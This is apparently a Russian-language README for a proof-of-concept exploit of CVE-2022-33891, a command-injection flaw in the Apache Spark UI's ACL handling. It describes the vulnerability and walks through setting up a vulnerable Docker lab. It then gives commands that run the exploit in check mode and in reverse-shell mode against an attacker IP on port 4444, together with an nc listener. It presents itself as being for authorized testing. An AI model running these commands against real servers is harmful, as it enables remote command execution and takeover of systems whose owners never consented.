
Эксплойт для проверки концепции инъекции команд в Apache Spark (CVE-2022-33891) с режимами проверки и обратной оболочки, позволяющий проводить авторизованное тестирование безопасности.
⚠️ Только для образовательных и авторизованных целей безопасности
Огромная благодарность автору оригинального PoC AkbarTrilaksana
Пользовательский интерфейс Apache Spark позволяет включить ACL через параметр конфигурации spark.acls.enable. При использовании фильтра аутентификации проверяется, имеет ли пользователь права доступа для просмотра или изменения приложения. Если ACL включены, код в HttpSecurityFilter может позволить злоумышленнику выполнить подмену, указав произвольное имя пользователя. Затем злоумышленник может вызвать функцию проверки разрешений, которая в конечном итоге сформирует и выполнит команду оболочки Unix на основе его ввода. Это приводит к выполнению произвольных команд оболочки от имени пользователя, под которым запущен Spark. Уязвимость затрагивает Apache Spark версий 3.0.3 и ранее, версии 3.1.1–3.1.2, а также версии 3.2.0–3.2.1.
Сначала клонируйте репозиторий
git clone https://github.com/asepsaepdin/CVE-2022-33891.git
Перейдите в каталог
cd CVE-2022-33891
Установите зависимости:
pip3 install -r requirements.txt --break-system-packages
Запустите контейнер
docker compose up
В новом терминале выполните команду
docker exec -it CVE-2022-33891-spark-1 /bin/bash
В сессии bash внутри контейнера введите:
echo "spark.acls.enable true" >> conf/spark-defaults.conf
При необходимости проверьте содержимое spark-defaults.conf с помощью cat.
Выйдите из интерактивной оболочки bash и остановите docker-compose с помощью Ctrl+C.
После корректного завершения контейнеров снова запустите docker-compose up
docker compose up
Проверьте, уязвима ли цель:
python3 poc.py -u http://localhost -p 8080 --check
С точки зрения атакующего, удаленное выполнение кода критично для получения интерактивной оболочки. Поэтому выполнение следующей команды запустит реверс-шелл telnet на базе bash на систему атакующего через TCP на порт 4444:
python3 poc.py -u http://localhost -p 8080 --revshell -lh 172.16.10.24 -lp 4444
nc -nlvp 4444